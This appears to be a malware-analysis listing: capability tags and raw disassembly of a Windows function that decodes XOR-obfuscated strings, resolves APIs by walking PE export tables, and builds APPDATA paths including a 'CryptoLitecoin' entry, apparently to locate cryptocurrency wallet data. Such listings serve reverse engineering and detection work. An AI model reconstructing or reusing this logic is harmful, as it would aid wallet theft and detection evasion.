Function at 0x140037620
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xbc0]
sub rsp, 0xcc0
mov rax, qword [0x140181020]
xor rax, rsp
mov qword [rbp + 0xbb0], rax
mov r13, rdx
mov qword [rsp + 0x38], rdx
mov rax, qword [0x1401875d0]
mov qword [rsp + 0x30], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0xaa0]
call fcn.140131fa0
lea rdx, str.APPDATA
lea rcx, [rsp + 0x40]
call fcn.14003ad70
mov rcx, rax
call fcn.14001e200
mov r12, rax
lea rcx, [rbp + 0x120]
call fcn.14003ac00
mov rbx, rax
movsx edi, byte [rax]
mov ecx, edi
call fcn.140014160
add edi, eax
cmp edi, 0xfffffff0
jg 0x1400376c6
mov edx, 0x84
call fcn.140052d80
cmp edi, 0xffffffb7
jg 0x1400376d5
mov edx, 0x9d
call fcn.140052d80
imul edi, edi, 0x5bd1e995
xor r9d, r9d
lea r8, [rbx + 4]
mov r10, r8
lea r11d, [r9 + 8]
nop dword [rax]
mov eax, edi
shr eax, 0x18
xor eax, edi
imul eax, eax, 0x5bd1e995
mov ecx, r9d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r10], eax
add r9d, 0x5bd1e995
lea r10, [r10 + 4]
sub r11, 1
jne 0x1400376f0
mov r9d, dword [0x14018719c]
mov rdx, qword [rbx + 0x28]
call fcn.1400525a0
mov rdi, rax
test rax, rax
je 0x1400377a2
xor r8d, r8d
movsx eax, byte [rbx]
movd xmm1, eax
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
lea rax, [rdi + 0x16]
cmp rdi, rbx
ja 0x140037773
cmp rax, rbx
jae 0x140037784
movdqu xmm0, xmmword [rdi]
xorps xmm1, xmm0
movdqu xmmword [rdi], xmm1
mov r8d, 0x10
lea rcx, [r8 + rdi]
mov edx, 0x17
sub rdx, r8
movzx eax, byte [rbx]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140037790
mov byte [rdi + 0x17], dl
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
cmp qword [rsi + 0x60], 0
je 0x14003788f
mov eax, 0x5a4d
nop word [rax + rax]
mov r11, qword [rsi + 0x30]
mov rsi, qword [rsi]
test r11, r11
je 0x140037884
cmp word [r11], ax
jne 0x14003788f
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14003788f
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14003788f
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14003787f
nop
xor r8b, r8b
mov eax, dword [r9]
add rax, r11
cmp byte [rax], r8b
je 0x140037873
mov rdx, rdi
sub rdx, rax
movzx ecx, byte [rax + rdx]
test cl, cl
je 0x14003786e
cmp byte [rax], cl
jne 0x140037873
mov r8b, 1
inc rax
cmp byte [rax], 0
jne 0x140037844
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor esi, esi
jmp 0x140037893
test r8b, r8b
jne 0x14003785b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140037830
mov eax, 0x5a4d
cmp qword [rsi + 0x60], 0
jne 0x1400377d0
xor esi, esi
mov eax, esi
mov r8d, 0x104
lea rdx, [rbp + 0xaa0]
mov rcx, r12
call rax
dec eax
cmp eax, 0x102
ja 0x14003a0fc
lea rcx, [rbp + 0xaa0]
mov r14, 0xffffffffffffffff
mov rax, r14
inc rax
cmp byte [rcx + rax], 0
jne 0x1400378c3
cmp byte [rbp + rax + 0xa9f], 0x5c
jne 0x1400378ed
dec rax
cmp rax, 0x104
jae 0x14003a12e
mov byte [rbp + rax + 0xaa0], 0
lea rax, [rbp + 0x170]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x710]
call fcn.14003b060
mov rbx, rax
movsx edi, byte [rax]
mov ecx, edi
call fcn.140014160
add edi, eax
cmp edi, 0xfffffff0
jg 0x140037923
mov edx, 0x84
call fcn.140052d80
cmp edi, 0xffffffb7
jg 0x140037932
mov edx, 0x9d
call fcn.140052d80
imul edi, edi, 0x5bd1e995
mov r9d, esi
lea r8, [rbx + 4]
mov r10, r8
mov r15d, 8
mov r11d, r15d
nop dword [rax + rax]
mov eax, edi
shr eax, 0x18
xor eax, edi
imul eax, eax, 0x5bd1e995
mov ecx, r9d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r10], eax
add r9d, 0x5bd1e995
lea r10, [r10 + 4]
sub r11, 1
jne 0x140037950
mov r9d, dword [0x14018719c]
mov rdx, qword [rbx + 0x28]
call fcn.1400525a0
mov rdx, rax
test rax, rax
jne 0x1400379b3
mov rdx, rsi
jmp 0x1400379d3
mov rcx, rdx
mov r8d, 0xf
nop dword [rax]
movzx eax, byte [rbx]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub r8, 1
jne 0x1400379c0
mov byte [rdx + 0xf], r8b
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x188], rsi
mov r8, r14
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x1400379f0
lea rcx, [rbp + 0x170]
call fcn.140005e70
nop
lea rcx, [rbp + 0x750]
call fcn.14003af00
mov rbx, rax
movsx edi, byte [rax]
mov ecx, edi
call fcn.140014160
add edi, eax
cmp edi, 0xfffffff0
jg 0x140037a31
mov edx, 0x84
call fcn.140052d80
cmp edi, 0xffffffb7
jg 0x140037a40
mov edx, 0x9d
call fcn.140052d80
imul edi, edi, 0x5bd1e995
mov r9d, esi
lea r8, [rbx + 4]
mov r10, r8
mov r11, r15
nop dword [rax]
nop word [rax + rax]
mov eax, edi
shr eax, 0x18
xor eax, edi
imul eax, eax, 0x5bd1e995
mov ecx, r9d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r10], eax
add r9d, 0x5bd1e995
lea r10, [r10 + 4]
sub r11, 1
jne 0x140037a60
mov r9d, dword [0x14018719c]
mov rdx, qword [rbx + 0x28]
call fcn.1400525a0
mov rdi, rax
test rax, rax
jne 0x140037ac3
mov rdi, rsi
jmp 0x140037b22
mov r8, rsi
movsx eax, byte [rbx]
movd xmm1, eax
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
lea rax, [rdi + 0x11]
cmp rdi, rbx
ja 0x140037ae8
cmp rax, rbx
jae 0x140037af9
movdqu xmm0, xmmword [rdi]
xorps xmm1, xmm0
movdqu xmmword [rdi], xmm1
mov r8d, 0x10
lea rcx, [r8 + rdi]
mov edx, 0x12
sub rdx, r8
nop word [rax + rax]
movzx eax, byte [rbx]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140037b10
mov byte [rdi + 0x12], dl
xorps xmm0, xmm0
movups xmmword [rbp + 0x450], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x460], xmm1
lea rax, [rbp + 0xaa0]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140037b41
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x450]
call fcn.140005e70
nop
mov rdx, rdi
lea rcx, [rbp + 0x450]
call fcn.140005750
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x170]
lea r8, [rbp - 0x80]
mov rdx, r13
mov r12, qword [rsp + 0x30]
mov rcx, r12
call fcn.140036040
nop
lea rcx, [rbp + 0x450]
call fcn.140005a50
lea rax, [rbp + 0x190]
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x490]
call fcn.14003b320
mov rdi, rax
movsx ebx, byte [rax]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140037bf9
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x140037c08
mov edx, 0x9d
call fcn.140052d80
imul ebx, ebx, 0x5bd1e995
mov r9d, esi
lea r8, [rdi + 4]
mov r10, r8
mov r11, r15
nop dword [rax + rax]
mov eax, ebx
shr eax, 0x18
xor eax, ebx
imul ecx, eax, 0x5bd1e995
xor ecx, r9d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r10], eax
add r9d, 0x5bd1e995
lea r10, [r10 + 4]
sub r11, 1
jne 0x140037c20
mov r9d, dword [0x14018719c]
mov rdx, qword [rdi + 0x28]
call fcn.1400525a0
mov rdx, rax
test rax, rax
jne 0x140037c81
mov rdx, rsi
jmp 0x140037ca3
mov rcx, rdx
mov r8d, 0xf
nop word [rax + rax]
movzx eax, byte [rdi]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub r8, 1
jne 0x140037c90
mov byte [rdx + 0xf], r8b
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x1a0], rsi
mov qword [rbp + 0x1a8], rsi
mov r8, r14
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x140037cc0
lea rcx, [rbp + 0x190]
call fcn.140005e70
nop
lea rcx, [rbp + 0x7a0]
call fcn.14003b1c0
mov rbx, rax
movsx edi, byte [rax]
mov ecx, edi
call fcn.140014160
add edi, eax
cmp edi, 0xfffffff0
jg 0x140037d01
mov edx, 0x84
call fcn.140052d80
cmp edi, 0xffffffb7
jg 0x140037d10
mov edx, 0x9d
call fcn.140052d80
imul edi, edi, 0x5bd1e995
mov r9d, esi
lea r8, [rbx + 4]
mov r10, r8
mov r11, r15
nop dword [rax]
nop word [rax + rax]
mov eax, edi
shr eax, 0x18
xor eax, edi
imul ecx, eax, 0x5bd1e995
xor ecx, r9d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r10], eax
add r9d, 0x5bd1e995
lea r10, [r10 + 4]
sub r11, 1
jne 0x140037d30
mov r9d, dword [0x14018719c]
mov rdx, qword [rbx + 0x28]
call fcn.1400525a0
mov rdi, rax
mov esi, 0x11
test rax, rax
jne 0x140037d97
xor ebx, ebx
mov edi, ebx
jmp 0x140037df4
xor r8d, r8d
movsx eax, byte [rbx]
movd xmm1, eax
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
lea rax, [rdi + 0x10]
cmp rdi, rbx
ja 0x140037dbc
cmp rax, rbx
jae 0x140037dcd
movdqu xmm0, xmmword [rdi]
xorps xmm0, xmm1
movdqu xmmword [rdi], xmm0
mov r8d, 0x10
lea rcx, [rdi + r8]
mov rdx, rsi
sub rdx, r8
nop word [rax + rax]
movzx eax, byte [rbx]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140037de0
mov byte [rdi + 0x11], dl
xor ebx, ebx
xorps xmm0, xmm0
movups xmmword [rbp + 0x470], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x480], xmm1
lea rax, [rbp + 0xaa0]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140037e13
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x470]
call fcn.140005e70
nop
mov rdx, rdi
lea rcx, [rbp + 0x470]
call fcn.140005750
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x190]
lea r8, [rbp - 0x60]
mov rdx, r13
mov rcx, r12
call fcn.140036040
nop
lea rcx, [rbp + 0x470]
call fcn.140005a50
lea rax, [rbp + 0x1b0]
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x4d0]
call fcn.14003b480
mov rdi, rax
movsx ebx, byte [rax]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140037ec6
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x140037ed5
mov edx, 0x9d
call fcn.140052d80
imul ebx, ebx, 0x5bd1e995
xor r9d, r9d
lea r8, [rdi + 4]
mov r10, r8
mov r11, r15
nop dword [rax + rax]
mov eax, ebx
shr eax, 0x18
xor eax, ebx
imul eax, eax, 0x5bd1e995
mov ecx, r9d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r10], eax
add r9d, 0x5bd1e995
lea r10, [r10 + 4]
sub r11, 1
jne 0x140037ef0
mov r9d, dword [0x14018719c]
mov rdx, qword [rdi + 0x28]
call fcn.1400525a0
mov rdx, rax
mov r13d, 0xe
test rax, rax
jne 0x140037f5a
xor edi, edi
mov edx, edi
jmp 0x140037f75
mov rcx, rdx
mov r8, r13
movzx eax, byte [rdi]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub r8, 1
jne 0x140037f60
mov byte [rdx + 0xe], r8b
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
mov qword [rbp + 0x1c0], rdi
mov qword [rbp + 0x1c8], rdi
mov r8, r14
inc r8
cmp byte [rdx + r8], 0
jne 0x140037f90
lea rcx, [rbp + 0x1b0]
call fcn.140005e70
nop
mov cl, 0x4f
mov byte [rbp + 0x120], cl
movdqa xmm0, xmmword [0x14016e140]
movdqu xmmword [rbp + 0x150], xmm0
xor eax, eax
mov byte [rbp + 0x160], al
movsx ebx, cl
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140037fe2
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x140037ff1
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, edi
lea r9, [rbp + 0x124]
mov r10, r15
nop word [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x140038010
mov qword [0x140187190], rdi
mov r12d, 0x18
mov edx, r12d
call fcn.140052d80
mov rbx, rax
mov qword [0x140187190], rax
test rax, rax
jne 0x140038081
mov rbx, rdi
jmp 0x1400380c5
mov dword [0x14018719c], r12d
mov dword [0x140187198], 0x10
mov dword [rax], r12d
mov eax, dword [0x140187198]
mov dword [rbx + 4], eax
movups xmm0, xmmword [rbp + 0x150]
movups xmmword [rbx + 8], xmm0
mov edx, dword [0x14018719c]
add edx, 0xfffffff8
lea rcx, [rbx + 8]
lea r9, [rbp + 0x124]
mov r8b, 1
call fcn.140052470
mov qword [rbp + 0x148], rbx
movsx ebx, byte [rbp + 0x120]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400380eb
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x1400380fa
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, edi
lea r9, [rbp + 0x124]
mov r10, r15
nop
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x140038110
mov r9d, dword [0x14018719c]
lea r8, [rbp + 0x124]
mov rdx, qword [rbp + 0x148]
call fcn.1400525a0
mov rbx, rax
test rax, rax
jne 0x14003817f
mov rbx, rdi
jmp 0x1400381a6
movsx eax, byte [rbp + 0x120]
movd xmm1, eax
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
movdqu xmm0, xmmword [rbx]
xorps xmm1, xmm0
movdqu xmmword [rbx], xmm1
mov byte [rbx + 0x10], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x310], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x320], xmm1
lea rax, [rbp + 0xaa0]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x1400381c5
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x310]
call fcn.140005e70
nop
mov rdx, rbx
lea rcx, [rbp + 0x310]
call fcn.140005750
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x1b0]
lea r8, [rbp - 0x40]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.140036040
nop
lea rcx, [rbp + 0x310]
call fcn.140005a50
lea rax, [rbp + 0x1d0]
mov qword [rsp + 0x28], rax
lea rdx, str.CryptoLitecoin
lea rcx, [rbp + 0x510]
call fcn.14003b750
mov rcx, rax
call fcn.14003a140
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], rdi
mov qword [rbp + 0x1e8], rdi
mov r8, r14
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140038290
mov rdx, rax
lea rcx, [rbp + 0x1d0]
call fcn.140005e70
nop
lea rcx, [rbp + 0x7f0]
call fcn.14003b5f0
mov rbx, rax
movsx edi, byte [rax]
mov ecx, edi
call fcn.140014160
add edi, eax
cmp edi, 0xfffffff0
jg 0x1400382d4
mov edx, 0x84
call fcn.140052d80
cmp edi, 0xffffffb7
jg 0x1400382e3
mov edx, 0x9d
call fcn.140052d80
imul edi, edi, 0x5bd1e995
xor r9d, r9d
lea r8, [rbx + 4]
mov r10, r8
mov r11, r15
nop word [rax + rax]
mov eax, edi
shr eax, 0x18
xor eax, edi
imul eax, eax, 0x5bd1e995
mov ecx, r9d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r10], eax
add r9d, 0x5bd1e995
lea r10, [r10 + 4]
sub r11, 1
jne 0x140038300
mov r9d, dword [0x14018719c]
mov rdx, qword [rbx + 0x28]
call fcn.1400525a0
mov rdi, rax
test rax, rax
jne 0x140038364
xor esi, esi
mov edi, esi
jmp 0x1400383b3
xor edx, edx
movsx eax, byte [rbx]
movd xmm1, eax
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
lea rax, [rdi + 0x10]
cmp rdi, rbx
ja 0x140038388
cmp rax, rbx
jae 0x140038398
movdqu xmm0, xmmword [rdi]
xorps xmm1, xmm0
movdqu xmmword [rdi], xmm1
mov edx, 0x10
lea rcx, [rdx + rdi]
sub rsi, rdx
nop
movzx eax, byte [rbx]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub rsi, 1
jne 0x1400383a0
mov byte [rdi + 0x11], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x340], xmm1
lea rax, [rbp + 0xaa0]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x1400383d2
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x330]
call fcn.140005e70
nop
mov rdx, rdi
lea rcx, [rbp + 0x330]
call fcn.140005750
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x1d0]
lea r8, [rbp - 0x20]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.140036040
nop
lea rcx, [rbp + 0x330]
call fcn.140005a50
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x550]
call fcn.14003ba90
mov rdi, rax
movsx ebx, byte [rax]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140038489
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x140038498
mov edx, 0x9d
call fcn.140052d80
imul ebx, ebx, 0x5bd1e995
mov r9d, esi
lea r8, [rdi + 4]
mov r10, r8
mov esi, 8
mov r11d, esi
mov eax, ebx
shr eax, 0x18
xor eax, ebx
imul eax, eax, 0x5bd1e995
mov ecx, r9d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r10], eax
add r9d, 0x5bd1e995
lea r10, [r10 + 4]
sub r11, 1
jne 0x1400384b0
mov r9d, dword [0x14018719c]
mov rdx, qword [rdi + 0x28]
call fcn.1400525a0
mov rdx, rax
mov r15d, 0xd
test rax, rax
je 0x140038533
mov rcx, rdx
mov r8, r15
nop word [rax + rax]
movzx eax, byte [rdi]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub r8, 1
jne 0x140038520
mov byte [rdx + 0xd], r8b
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
mov qword [rbp + 0x200], 0
mov qword [rbp + 0x208], 0
mov r8, r14
inc r8
cmp byte [rdx + r8], 0
jne 0x140038556
lea rcx, [rbp + 0x1f0]
call fcn.140005e70
nop
lea rcx, [rbp + 0x840]
call fcn.14003b920
mov rbx, rax
movsx edi, byte [rax]
mov ecx, edi
call fcn.140014160
add edi, eax
cmp edi, 0xfffffff0
jg 0x140038597
mov edx, 0x84
call fcn.140052d80
cmp edi, 0xffffffb7
jg 0x1400385a6
mov edx, 0x9d
call fcn.140052d80
imul edi, edi, 0x5bd1e995
xor r9d, r9d
lea r8, [rbx + 4]
mov r10, r8
mov r11, rsi
nop dword [rax]
mov eax, edi
shr eax, 0x18
xor eax, edi
imul eax, eax, 0x5bd1e995
mov ecx, r9d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r10], eax
add r9d, 0x5bd1e995
lea r10, [r10 + 4]
sub r11, 1
jne 0x1400385c0
mov r9d, dword [0x14018719c]
mov rdx, qword [rbx + 0x28]
call fcn.1400525a0
mov rdi, rax
test rax, rax
jne 0x140038624
xor ebx, ebx
mov edi, ebx
jmp 0x140038684
xor r8d, r8d
movsx eax, byte [rbx]
movd xmm1, eax
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
lea rax, [rdi + 0x14]
cmp rdi, rbx
ja 0x140038649
cmp rax, rbx
jae 0x14003865a
movdqu xmm0, xmmword [rdi]
xorps xmm0, xmm1
movdqu xmmword [rdi], xmm0
mov r8d, 0x10
lea rcx, [rdi + r8]
mov edx, 0x15
sub rdx, r8
nop word [rax + rax]
movzx eax, byte [rbx]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140038670
mov byte [rdi + 0x15], dl
xor ebx, ebx
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x360], xmm1
lea rax, [rbp + 0xaa0]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x1400386a3
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x350]
call fcn.140005e70
nop
mov rdx, rdi
lea rcx, [rbp + 0x350]
call fcn.140005750
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rbx
mov qword [rbp + 0x18], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x1f0]
lea r8, [rbp]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.140036040
nop
lea rcx, [rbp + 0x350]
call fcn.140005a50
lea rax, [rbp + 0x210]
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x590]
call fcn.14003bbf0
mov rdi, rax
movsx ebx, byte [rax]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14003875a
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x140038769
mov edx, 0x9d
call fcn.140052d80
imul ebx, ebx, 0x5bd1e995
xor r9d, r9d
lea r8, [rdi + 4]
mov r10, r8
mov r11, rsi
nop dword [rax]
mov eax, ebx
shr eax, 0x18
xor eax, ebx
imul ecx, eax, 0x5bd1e995
xor ecx, r9d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r10], eax
add r9d, 0x5bd1e995
lea r10, [r10 + 4]
sub r11, 1
jne 0x140038780
mov r9d, dword [0x14018719c]
mov rdx, qword [rdi + 0x28]
call fcn.1400525a0
mov rdx, rax
test rax, rax
jne 0x1400387e2
xor edi, edi
mov edx, edi
jmp 0x140038805
mov rcx, rdx
mov r8d, 0xc
nop dword [rax + rax]
movzx eax, byte [rdi]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub r8, 1
jne 0x1400387f0
mov byte [rdx + 0xc], r8b
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x220], rdi
mov qword [rbp + 0x228], rdi
mov r8, r14
inc r8
cmp byte [rdx + r8], 0
jne 0x140038820
lea rcx, [rbp + 0x210]
call fcn.140005e70
nop
mov cl, 0xc
mov byte [rsp + 0x40], cl
mov dword [rsp + 0x70], 0x6d6f5650
mov word [rsp + 0x74], 0x647f
xor eax, eax
mov byte [rsp + 0x76], al
movsx ebx, cl
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14003886d
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x14003887c
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, edi
lea r9, [rsp + 0x44]
mov r10, rsi
nop
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x140038890
mov eax, 6
nop dword [rax]
inc eax
test al, 0xf
jne 0x1400388e0
mov qword [0x140187190], rdi
lea edi, [rax + 8]
mov edx, edi
call fcn.140052d80
mov rbx, rax
mov qword [0x140187190], rax
